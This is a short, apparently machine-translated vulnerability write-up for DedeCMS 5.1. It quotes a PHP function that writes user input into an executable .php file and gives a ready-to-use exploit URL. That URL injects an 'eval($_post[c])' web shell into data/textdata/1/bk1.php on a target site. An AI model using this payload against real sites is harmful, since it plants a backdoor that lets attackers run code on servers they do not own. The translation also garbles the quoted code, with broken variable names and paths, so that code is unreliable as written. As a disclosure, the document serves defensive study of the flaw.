Dedecms 5.1 Direct write to Horse vulnerability

The

was first found in http://groups.google.com/group/ph4nt0m/t/357dbcd7711f1864
after research. can be very convenient to write a pony, the premise is the server open membership system, and there are categories in the book serialization. The
Vulnerability code is as follows:
include/inc_bookfunctions.php

Function Writebooktext ($cid, $body)
{
        global $cfg _cmspath, $cfg _basedir;
        $ipath = $cfg _cmspath. " /data/textdata ";
        $tpath = ceil ($cid/5000);
        if (!is_dir ($cfg _basedir. $ipath)) Mkdirall ($cfg _basedir. $ipath, $ globals[' Cfg_dir_purview ']);
        if (!is_dir ($cfg _basedir. $ipath.) /'. $tpath)) Mkdirall ($cfg _basedir. $ipath. /'. $tpath, $GLOBALS [' Cfg_dir_purview ']);
        $bookfile = $cfg _basedir. $ipath. " /{$tpath}/bk{$cid}.php ";
        $body = "<". php/r/n ". $body." /r/n? "." > ";
        @ $fp = fopen ($bookfile, ' w ');
  @flock ($FP);
  @fwrite ($fp, $body);
  @fclose ($FP);
}

member/story_add_content_action.php

Writebooktext ($arcID, Addslashes ($body));

As you can see, it's just escaped with Addslashes. But $body = "<"? php/r/n ". $body." /r/n? "." > "; it's obvious that you can write to a pony. Oh.

Utilization method
Http://www.target.com/member/story_add_content_action.php?body=eval ($_post[c]); &chapterid=1
This creates a pony in the data/textdata/directory. Default is data/textdata/1/bk1.php